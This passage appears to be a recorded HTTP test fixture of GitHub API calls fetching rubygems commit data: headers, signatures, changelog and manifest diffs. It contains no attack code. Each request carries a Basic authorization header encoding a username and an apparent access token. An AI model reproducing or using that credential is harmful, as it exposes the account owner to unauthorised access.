GFsZS5cbisqIEZpeCBsaW5rcyBpbiBQb2xpY2llcyBkb2N1bWVudC4gUHVsbCByZXF1ZXN0ICMxOTY0IGJ5IEFseXNzYSBSb3NzLlxuKyogRml4IE5vTWV0aG9kRXJyb3Igb24gYnVuZGxlci9pbmxpbmUgZW52aXJvbm1lbnQuIFB1bGwgcmVxdWVzdCAjMjA0MiBieVxuKyAgU0hJQkFUQSBIaXJvc2hpLlxuKyogQ29ycmVjdCBjb21tZW50cyBmb3IgR2VtOjpJbnN0YWxsZXJUZXN0Q2FzZSNzZXR1cC4gUHVsbCByZXF1ZXN0ICMxNzQxIGJ5XG4rICBNU1AtR3JlZy5cbisqIFVzZSBGaWxlLmV4cGFuZF9wYXRoIGZvciBjZXJ0aWZpY2F0aW9uIGFuZCBrZXkgbG9jYXRpb24uIFB1bGwgcmVxdWVzdFxuKyAgIzE5ODcgYnkgU0hJQkFUQSBIaXJvc2hpLlxuKyogUmVzY3VlIEVST0ZTLiBQdWxsIHJlcXVlc3QgIzE0MTcgYnkgTm9idXlvc2hpIE5ha2FkYS5cbisqIEZpeCBzcGVsbGluZyBvZiAndnVsbmVyYWJpbGl0eScuIFB1bGwgcmVxdWVzdCAjMjAyMiBieSBQaGlsaXAgQXJuZHQuXG4rKiBGaXggbWV0YWRhdGEgbGluayBrZXkgbmFtZXMuIFB1bGwgcmVxdWVzdCAjMTg5NiBieSBBZGl0eWEgUHJha2FzaC5cbisqIEZpeCBhIHR5cG8gaW4gdW5pbnN0YWxsX2NvbW1hbmQucmIuIFB1bGwgcmVxdWVzdCAjMTkzNCBieSBZYXN1aGlyb1xuKyAgSG9yaW1vdG8uXG4rKiBHZW06OlJlcXVpcmVtZW50LmNyZWF0ZSB0cmVhdCBhcmd1bWVudHMgYXMgdmFyaWFibGUtbGVuZ3RoLiBQdWxsIHJlcXVlc3RcbisgICMxODMwIGJ5IFRvcnUgWUFHSS5cbisqIERpc3BsYXkgYW4gZXhwbGFuYXRpb24gd2hlbiByYWtlIGVuY291bnRlcnMgYW4gb250b2xvZ2ljYWwgcHJvYmxlbS4gUHVsbFxuKyAgcmVxdWVzdCAjMTk4MiBieSBXaWxzb24gQmlsa292aWNoLlxuKyogW1NlcnZlcl0gSGFuZGxlIGdlbXMgd2l0aCBuYW1lcyBlbmRpbmcgaW4gYC1cXGRgLiBQdWxsIHJlcXVlc3QgIzE5MjYgYnlcbisgIFNhbXVlbCBHaWRkaW5zLlxuKyogW0luc3RhbGxlclNldF0gQXZvaWQgcmVsb2FkaW5nIF9hbGxfIGxvY2FsIGdlbXMgbXVsdGlwbGUgdGltZXMgZHVyaW5nXG4rICBkZXBlbmRlbmN5IHJlc29sdXRpb24uIFB1bGwgcmVxdWVzdCAjMTkyNSBieSBTYW11ZWwgR2lkZGlucy5cbisqIE1vZGlmeSB0aGUgcmV0dXJuIHZhbHVlIG9mIEdlbTo6VmVyc2lvbi5jb3JyZWN0Py4gUHVsbCByZXF1ZXN0ICMxOTE2IGJ5XG4rICBUc3VrdXJ1IFRhbmltaWNoaS5cbisqIFZhbGlkYXRlIG1ldGFkYXRhIGxpbmsga2V5cy4gUHVsbCByZXF1ZXN0ICMxODM0IGJ5IEFkaXR5YSBQcmFrYXNoLlxuKyogQWRkIGNoYW5nZWxvZyB0byBtZXRhZGF0YSB2YWxpZGF0aW9uLiBQdWxsIHJlcXVlc3QgIzE4ODUgYnkgQWRpdHlhXG4rICBQcmFrYXNoLlxuKyogUmVwbGFjZSBzb2NrZXQgZXJyb3IgdGV4dCBtZXNzYWdlLiBQdWxsIHJlcXVlc3QgIzE4MjMgYnkgRGFuaWVsIEJlcmdlci5cbisqIFJhaXNlIGVycm9yIGlmIHRoZSBlbWFpbCBpcyBpbnZhbGlkIHdoZW4gYnVpbGRpbmcgY2VydC4gUHVsbCByZXF1ZXN0XG4rICAjMTc3OSBieSBMdWlzIFNhZ2FzdHVtZS5cbisqIFtTdHViU3BlY2lmaWNhdGlvbl0gRG9u4oCZdCBpdGVyYXRlIHRocm91Z2ggYWxsIGxvYWRlZCBzcGVjcyBpbiAjdG9fc3BlYy5cbisgIFB1bGwgcmVxdWVzdCAjMTczOCBieSBTYW11ZWwgR2lkZGlucy5cbitcbiA9PT0gMi42LjE0IC8gMjAxNy0xMC0wOVxuIFxuIFNlY3VyaXR5IGZpeGVzOiJ9XX0= http_version: recorded_at: Sat, 06 Jan 2018 15:00:00 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/a0a8dbf6bc8bd8afb24bc2060264cd3f18ebbc40 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:00 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4464' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"c7359e910942e18f49128a17f4f0c9f2" Last-Modified: - Tue, 31 Oct 2017 22:49:55 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.052130' X-Github-Request-Id: - A28E:4D97:90371F:1C47641:5A50E470 body: encoding: ASCII-8BIT string: '{"sha":"a0a8dbf6bc8bd8afb24bc2060264cd3f18ebbc40","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-31T22:49:55Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-31T22:49:55Z"},"message":"Update bundler entry.","tree":{"sha":"68e29313d69e59e81b85f8eda3ea2e1ecdc6612a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/68e29313d69e59e81b85f8eda3ea2e1ecdc6612a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a0a8dbf6bc8bd8afb24bc2060264cd3f18ebbc40","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAln4/hMACgkQ+c8TQXJk\n+sIbNQgAtkipV25brJB52s+ZRckjnLNvrRbxkQ40nWKliZRawuVyp7kCW6ZQG/TQ\noiu0cK1gfFEsP5Jy3TlH/zw6aUw9KWsi5sPM4wBuBgi3pNjVALVcdvLfrnKh3urF\nuVNnrTR6AmJaQefJRnztIZbnZuo3Q0VWoKpoIHTLaIcCpDZSBl6Z8WotGot44RQ6\nfIZoR6BBWX29i5jOWZSpkiD8DbcW1k1RTyUCAhSi1qKS83rclQUXyBH5vvkyfWoi\nploZ4iLg0py3fweK4JbosHNiG42KTdP2v6lG9LT0KEkmTGutaESIlWaOq7fRgVup\nqwPF+sElEM7bmIgoJEh5wClKr9IHag==\n=Kw0Q\n-----END PGP SIGNATURE-----","payload":"tree 68e29313d69e59e81b85f8eda3ea2e1ecdc6612a\nparent 444cac36543dd8f68717df24576292bedabdb12a\nauthor SHIBATA Hiroshi 1509490195 +0900\ncommitter SHIBATA Hiroshi 1509490195 +0900\n\nUpdate bundler entry.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a0a8dbf6bc8bd8afb24bc2060264cd3f18ebbc40","html_url":"https://github.com/rubygems/rubygems/commit/a0a8dbf6bc8bd8afb24bc2060264cd3f18ebbc40","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a0a8dbf6bc8bd8afb24bc2060264cd3f18ebbc40/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"444cac36543dd8f68717df24576292bedabdb12a","url":"https://api.github.com/repos/rubygems/rubygems/commits/444cac36543dd8f68717df24576292bedabdb12a","html_url":"https://github.com/rubygems/rubygems/commit/444cac36543dd8f68717df24576292bedabdb12a"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"c632c30ea9b7864dc95ef2f604630ebf410cfde9","filename":"History.txt","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/a0a8dbf6bc8bd8afb24bc2060264cd3f18ebbc40/History.txt","raw_url":"https://github.com/rubygems/rubygems/raw/a0a8dbf6bc8bd8afb24bc2060264cd3f18ebbc40/History.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/History.txt?ref=a0a8dbf6bc8bd8afb24bc2060264cd3f18ebbc40","patch":"@@ -4,7 +4,7 @@\n \n Major enhancements:\n \n-* Update vendored bundler-1.15.4. Pull request #2001 by SHIBATA Hiroshi.\n+* Update vendored bundler-1.16.0. Pull request #2051 by Samuel Giddins.\n * Use Bundler for Gem.use_gemdeps. Pull request #1674 by Samuel Giddins.\n * Add command `signin` to `gem` CLI. Pull request #1944 by Shiva Bhusal.\n * Add Logout feature to CLI. Pull request #1938 by Shiva Bhusal."}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:00 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/ddde3653bc0aa9592e7704ce26469edb31660ec9 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:01 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4463' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"9d1b8d560c657ec39b9cfeefbd1ba7f0" Last-Modified: - Tue, 31 Oct 2017 22:42:03 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.053482' X-Github-Request-Id: - C560:4D95:F47FE1:1C839E2:5A50E470 body: encoding: ASCII-8BIT string: '{"sha":"ddde3653bc0aa9592e7704ce26469edb31660ec9","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-31T22:42:03Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-31T22:42:03Z"},"message":"Auto merge of #2051 - rubygems:seg-bundler-1-16, r=hsbt\n\nUpdate vendored Bundler to v1.16.0\n\n# Description:\n\nSee https://github.com/bundler/bundler/releases/tag/v1.16.0\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"f964ce5976cb44d51b517f19313171694a12429e","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f964ce5976cb44d51b517f19313171694a12429e"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ddde3653bc0aa9592e7704ce26469edb31660ec9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ddde3653bc0aa9592e7704ce26469edb31660ec9","html_url":"https://github.com/rubygems/rubygems/commit/ddde3653bc0aa9592e7704ce26469edb31660ec9","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ddde3653bc0aa9592e7704ce26469edb31660ec9/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"7106c8d706d63ce017c7afb696032c27c0a781a1","url":"https://api.github.com/repos/rubygems/rubygems/commits/7106c8d706d63ce017c7afb696032c27c0a781a1","html_url":"https://github.com/rubygems/rubygems/commit/7106c8d706d63ce017c7afb696032c27c0a781a1"},{"sha":"64901088a213e3643eca7f1cbf84d5ca7121f486","url":"https://api.github.com/repos/rubygems/rubygems/commits/64901088a213e3643eca7f1cbf84d5ca7121f486","html_url":"https://github.com/rubygems/rubygems/commit/64901088a213e3643eca7f1cbf84d5ca7121f486"}],"stats":{"total":24,"additions":16,"deletions":8},"files":[{"sha":"6b4e0fdf236aa29484d38db811317289656a816d","filename":".travis.yml","status":"modified","additions":1,"deletions":6,"changes":7,"blob_url":"https://github.com/rubygems/rubygems/blob/ddde3653bc0aa9592e7704ce26469edb31660ec9/.travis.yml","raw_url":"https://github.com/rubygems/rubygems/raw/ddde3653bc0aa9592e7704ce26469edb31660ec9/.travis.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/.travis.yml?ref=ddde3653bc0aa9592e7704ce26469edb31660ec9","patch":"@@ -48,9 +48,4 @@ matrix:\n env: \"TEST_TOOL=rubygems YAML=syck\"\n allow_failures:\n - rvm: ruby-head\n- - rvm: 1.8.7\n- env: \"TEST_TOOL=bundler RGV=master\"\n- - rvm: 1.9.3\n- env: \"TEST_TOOL=bundler RGV=master\"\n- - rvm: 2.0.0\n- env: \"TEST_TOOL=bundler RGV=master\"\n+"},{"sha":"e380c1dd665f90b674a851ea08640fe085afcc0b","filename":"Manifest.txt","status":"modified","additions":14,"deletions":1,"changes":15,"blob_url":"https://github.com/rubygems/rubygems/blob/ddde3653bc0aa9592e7704ce26469edb31660ec9/Manifest.txt","raw_url":"https://github.com/rubygems/rubygems/raw/ddde3653bc0aa9592e7704ce26469edb31660ec9/Manifest.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Manifest.txt?ref=ddde3653bc0aa9592e7704ce26469edb31660ec9","patch":"@@ -27,6 +27,7 @@ bundler/exe/bundle\n bundler/exe/bundle_ruby\n bundler/exe/bundler\n bundler/lib/bundler.rb\n+bundler/lib/bundler/build_metadata.rb\n bundler/lib/bundler/capistrano.rb\n bundler/lib/bundler/cli.rb\n bundler/lib/bundler/cli/add.rb\n@@ -45,6 +46,7 @@ bundler/lib/bundler/cli/init.rb\n bundler/lib/bundler/cli/inject.rb\n bundler/lib/bundler/cli/install.rb\n bundler/lib/bundler/cli/issue.rb\n+bundler/lib/bundler/cli/list.rb\n bundler/lib/bundler/cli/lock.rb\n bundler/lib/bundler/cli/open.rb\n bundler/lib/bundler/cli/outdated.rb\n@@ -58,6 +60,7 @@ bundler/lib/bundler/cli/viz.rb\n bundler/lib/bundler/compact_index_client.rb\n bundler/lib/bundler/compact_index_client/cache.rb\n bundler/lib/bundler/compact_index_client/updater.rb\n+bundler/lib/bundler/compatibility_guard.rb\n bundler/lib/bundler/constants.rb\n bundler/lib/bundler/current_ruby.rb\n bundler/lib/bundler/definition.rb\n@@ -93,6 +96,7 @@ bundler/lib/bundler/installer/gem_installer.rb\n bundler/lib/bundler/installer/parallel_installer.rb\n bundler/lib/bundler/installer/standalone.rb\n bundler/lib/bundler/lazy_specification.rb\n+bundler/lib/bundler/lockfile_generator.rb\n bundler/lib/bundler/lockfile_parser.rb\n bundler/lib/bundler/match_platform.rb\n bundler/lib/bundler/mirror.rb\n@@ -105,9 +109,11 @@ bundler/lib/bundler/plugin/installer.rb\n bundler/lib/bundler/plugin/installer/git.rb\n bundler/lib/bundler/plugin/installer/rubygems.rb\n bundler/lib/bundler/plugin/source_list.rb\n+bundler/lib/bundler/process_lock.rb\n bundler/lib/bundler/psyched_yaml.rb\n bundler/lib/bundler/remote_specification.rb\n bundler/lib/bundler/resolver.rb\n+bundler/lib/bundler/resolver/spec_group.rb\n bundler/lib/bundler/retry.rb\n bundler/lib/bundler/ruby_dsl.rb\n bundler/lib/bundler/ruby_version.rb\n@@ -116,13 +122,15 @@ bundler/lib/bundler/rubygems_gem_installer.rb\n bundler/lib/bundler/rubygems_integration.rb\n bundler/lib/bundler/runtime.rb\n bundler/lib/bundler/settings.rb\n+bundler/lib/bundler/settings/validator.rb\n bundler/lib/bundler/setup.rb\n bundler/lib/bundler/shared_helpers.rb\n bundler/lib/bundler/similarity_detector.rb\n bundler/lib/bundler/source.rb\n bundler/lib/bundler/source/gemspec.rb\n bundler/lib/bundler/source/git.rb\n bundler/lib/bundler/source/git/git_proxy.rb\n+bundler/lib/bundler/source/metadata.rb\n bundler/lib/bundler/source/path.rb\n bundler/lib/bundler/source/path/installer.rb\n bundler/lib/bundler/source/rubygems.rb\n@@ -136,8 +144,10 @@ bundler/lib/bundler/ssl_certs/rubygems.global.ssl.fastly.net/DigiCertHighAssuran\n bundler/lib/bundler/ssl_certs/rubygems.org/AddTrustExternalCARoot.pem\n bundler/lib/bundler/stub_specification.rb\n bundler/lib/bundler/templates/Executable\n+bundler/lib/bundler/templates/Executable.bundler\n bundler/lib/bundler/templates/Executable.standalone\n bundler/lib/bundler/templates/Gemfile\n+bundler/lib/bundler/templates/gems.rb\n bundler/lib/bundler/templates/newgem/.travis.yml.tt\n bundler/lib/bundler/templates/newgem/CODE_OF_CONDUCT.md.tt\n bundler/lib/bundler/templates/newgem/Gemfile.tt\n@@ -164,7 +174,9 @@ bundler/lib/bundler/ui/rg_proxy.rb\n bundler/lib/bundler/ui/shell.rb\n bundler/lib/bundler/ui/silent.rb\n bundler/lib/bundler/uri_credentials_filter.rb\n+bundler/lib/bundler/vendor/fileutils/lib/fileutils.rb\n bundler/lib/bundler/vendor/molinillo/lib/molinillo.rb\n+bundler/lib/bundler/vendor/molinillo/lib/molinillo/compatibility.rb\n bundler/lib/bundler/vendor/molinillo/lib/molinillo/delegates/resolution_state.rb\n bundler/lib/bundler/vendor/molinillo/lib/molinillo/delegates/specification_provider.rb\n bundler/lib/bundler/vendor/molinillo/lib/molinillo/dependency_graph.rb\n@@ -219,6 +231,7 @@ bundler/lib/bundler/vendor/thor/lib/thor/shell/color.rb\n bundler/lib/bundler/vendor/thor/lib/thor/shell/html.rb\n bundler/lib/bundler/vendor/thor/lib/thor/util.rb\n bundler/lib/bundler/vendor/thor/lib/thor/version.rb\n+bundler/lib/bundler/vendored_fileutils.rb\n bundler/lib/bundler/vendored_molinillo.rb\n bundler/lib/bundler/vendored_persistent.rb\n bundler/lib/bundler/vendored_thor.rb\n@@ -238,6 +251,7 @@ bundler/man/bundle-info.ronn\n bundler/man/bundle-init.ronn\n bundler/man/bundle-inject.ronn\n bundler/man/bundle-install.ronn\n+bundler/man/bundle-list.ronn\n bundler/man/bundle-lock.ronn\n bundler/man/bundle-open.ronn\n bundler/man/bundle-outdated.ronn\n@@ -249,7 +263,6 @@ bundler/man/bundle-update.ronn\n bundler/man/bundle-viz.ronn\n bundler/man/bundle.ronn\n bundler/man/gemfile.5.ronn\n-bundler/man/index.txt\n hide_lib_for_update/note.txt\n lib/rubygems.rb\n lib/rubygems/available_set.rb"},{"sha":"10f20fa33bc36371cbad00106487c6eb22616ec7","filename":"bundler","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":null,"raw_url":null,"contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/bundler?ref=ddde3653bc0aa9592e7704ce26469edb31660ec9","patch":"@@ -1 +1 @@\n-Subproject commit c3fe3e6f2a93c30869c70ea17a10041a9b2d27dd\n+Subproject commit 10f20fa33bc36371cbad00106487c6eb22616ec7"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:01 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/64901088a213e3643eca7f1cbf84d5ca7121f486 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:01 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4462' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"176f87fddcd6f799120ec3fd2e10b0ec" Last-Modified: - Tue, 31 Oct 2017 20:17:58 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.062330' X-Github-Request-Id: - C562:4D94:4EFFDF:B301FD:5A50E471 body: encoding: ASCII-8BIT string: '{"sha":"64901088a213e3643eca7f1cbf84d5ca7121f486","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-31T19:39:26Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-31T20:17:58Z"},"message":"[Travis] Expect Bundler to pass on old rubies again","tree":{"sha":"f964ce5976cb44d51b517f19313171694a12429e","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f964ce5976cb44d51b517f19313171694a12429e"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/64901088a213e3643eca7f1cbf84d5ca7121f486","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ+Np2AAoJEAEZW7MV3ahWEScP+gJ09Jo7GomT0iyJfcZkcjC9\n3BrURO6GZfQwSVrQsqExUWp1E7iCNJY3T2GA7aWxJaC7UqpcBGjKhCiEs0+VP2BU\nZbxmjaF9JzqtbmL1IOansgUifLyt3i7Nu8rGkxzEnItlgEq5JlJKyb9apgONolY/\nuahi3mqbbH0qO9yu9FnqHWok9pQR15wYJqPL3l72OyJGVbVRYNwmPG0eF+SPlHOL\n/RzeMeTvDuzh/cqWkDIF2I3PBX9gcFs5UWMIskJDj+qLIUzs9lsnEhYgyOBmwVcz\n1RsjHh2L171chtcNJat2rgT1/oyJHfOvnHO/xliWIwBNdXto/XBKyaqmycmu+VCC\ntVYLBCohwi/RfRA+qTaflpkk6c3IobnnOG2sRKTyBJiutpbmxke8idYHB/1GAN+t\nhdemQ1TQEaqqkXkhnZj6pu4s/nR+T7+mkoX/athdMu2ldesIdupkwCMSMWt94i25\nHdgbC3yzQ0Fo3M+Luwj3M9IyCcOygmRhAOZIhjYb6NmfjndIyy6mMLpuCTATtwtG\n1Bw5wI+MlEtJy2RELHtBUgQ7mBVNfZMMVQvqeExIOgKYbsPlvVq2zWztGLDZeZ2g\ntBgGXyJ9RLvbiYgn0D9Msgvd5AXX+7AOWurqjWInGADQeSRjcF9K6d6VsqtXL9lT\nNGM0Dxss/0dXZcRTefcN\n=qb48\n-----END PGP SIGNATURE-----","payload":"tree f964ce5976cb44d51b517f19313171694a12429e\nparent b265097e9385cff31c5e2b1c628ea6f930a0c09d\nauthor Samuel Giddins 1509478766 -0500\ncommitter Samuel Giddins 1509481078 -0500\n\n[Travis] Expect Bundler to pass on old rubies again\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/64901088a213e3643eca7f1cbf84d5ca7121f486","html_url":"https://github.com/rubygems/rubygems/commit/64901088a213e3643eca7f1cbf84d5ca7121f486","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/64901088a213e3643eca7f1cbf84d5ca7121f486/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"b265097e9385cff31c5e2b1c628ea6f930a0c09d","url":"https://api.github.com/repos/rubygems/rubygems/commits/b265097e9385cff31c5e2b